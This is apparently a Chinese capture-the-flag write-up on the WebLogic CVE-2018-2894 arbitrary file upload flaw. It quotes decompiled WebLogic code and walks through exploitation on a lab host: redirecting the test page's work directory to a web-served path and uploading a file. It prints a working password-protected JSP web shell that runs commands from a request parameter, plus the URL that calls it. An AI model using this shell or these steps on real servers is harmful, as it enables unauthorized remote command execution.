buuctf [WebLogic]CVE-2018-2894

漏洞描述

(CVE-2018-2894)Weblogic任意文件上传

Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞，进而获取服务器权限。

Oracle 7月更新中，修复了Weblogic Web Service Test Page中一处任意文件上传漏洞，Web Service Test Page 在 ‘生产模式’ 下默认不开启，所以该漏洞有一定限制。两个页面分别为/ws_utc/begin.do、/ws_utc/config.do。

利用条件：需要知道部署应用的web目录
https://www.jianshu.com/p/9a95d9784d2c
https://blog.youkuaiyun.com/qq_44110340/article/details/113385327
https://blog.youkuaiyun.com/weixin_43625577/article/details/97001677

漏洞影响

漏洞影响版本：10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3

漏洞分析

在ws-testpage-impl.jar!/com/oracle/webservices/testclient/setting/TestClientWorkDirManager.class:59:

public void changeWorkDir(String path) {
    String[] oldPaths = this.getRelatedPaths();
    if (this.testPageProvider.getWsImplType() == ImplType.JRF) {
        this.isWorkDirChangeable = false;
        this.isWorkDirWritable = isDirWritable(path);
        this.isWorkDirChangeable = true;
        this.setTestClientWorkDir(path);
    } else {
        this.persistWorkDir(path);
        this.init();
    }
    if (this.isWorkDirWritable) {
        String[] newPaths = this.getRelatedPaths();
        moveDirs(oldPaths, newPaths);
    } else {
        Logger.fine("[INFO] Newly specified TestClient Working Dir is readonly. Won't move the configuration stuff to new path.");
    }
}

此函数用于改变工作目录，但其中并未做任何检测。

在ws-testpage-impl.jar!/com/oracle/webservices/testclient/ws/res/SettingResource.class:181中：

@Path("/keystore")
@POST
@Produces({"application/xml", "application/json"})
@Consumes({"multipart/form-data"})
public Response editKeyStoreSettingByMultiPart(FormDataMultiPart formPartParams) {
    if (!RequestUtil.isRequstedByAdmin(this.request)) {
        return Response.status(Status.FORBIDDEN).build();
    } else {
        if (TestClientRT.isVerbose()) {
            Logger.fine("calling SettingResource.addKeyStoreSettingByMultiPart");
        }
        String currentTimeValue = "" + (new Date()).getTime();
        KeyValuesMap<String, String> formParams = RSDataHelper.getInstance().convertFormDataMultiPart(formPartParams, true, TestClientRT.getKeyStorePath(), currentTimeValue);
        ....
    }
}

跟入ws-testpage-impl.jar!/com/oracle/webservices/testclient/core/ws/cdf/config/parameter/TestClientRT.class:31

public static String getKeyStorePath() {
    return getConfigDir() + File.separator + "keystore";
}
得到要写入的路径storePath。

在ws-testpage-impl.jar!/com/oracle/webservices/testclient/ws/util/RSDataHelper.class:145:

public KeyValuesMap<String, String> convertFormDataMultiPart(FormDataMultiPart formPartParams, boolean isExtactAttachment, String path, String fileNamePrefix) {
    ...
    if (attachName != null && attachName.trim().length() > 0) {
        if (attachName != null && attachName.trim().length() != 0) {
            attachName = this.refactorAttachName(attachName);
            if (fileNamePrefix == null) {
                fileNamePrefix = key;
            }
            String filename = (new File(storePath, fileNamePrefix + "_" + attachName)).getAbsolutePath();
            kvMap.addValue(key, filename);
            if (isExtactAttachment) {
                this.saveAttachedFile(filename, (InputStream)bodyPart.getValueAs(InputStream.class));
            }
        }
    } 
    ...
}

把上传文件的内容传到了storePath目录里，文件名满足fileNamePrefix + “_” + attachName。这过程没有任何过滤和检查：）…

ws_utc/config.do在开发模式下无需认证，在生产模式下需要认证。具体可见Oracle® Fusion Middleware Administering Web Services*

漏洞复现

访问http://node3.buuoj.cn:26007/ws_utc/config.do

设置Work Home Dir 当前工作目录为：
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

点击左侧安全-添加-选择文件。

点击提交之后,可是使用Burpsuite拦截返回的数据包，也可以通过浏览器的调试台来寻找返回的时间戳ID。F12打开调试台。

抓包获取到时间戳为1616748379514，则上传到的位置即http://node3.buuoj.cn:26007/ws_utc/css/config/keystore/1616748379514_1.jsp

后面我换了一个shell

<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

http://node3.buuoj.cn:26007/ws_utc/css/config/keystore/1616749171968_1.jsp?pwd=023&i=env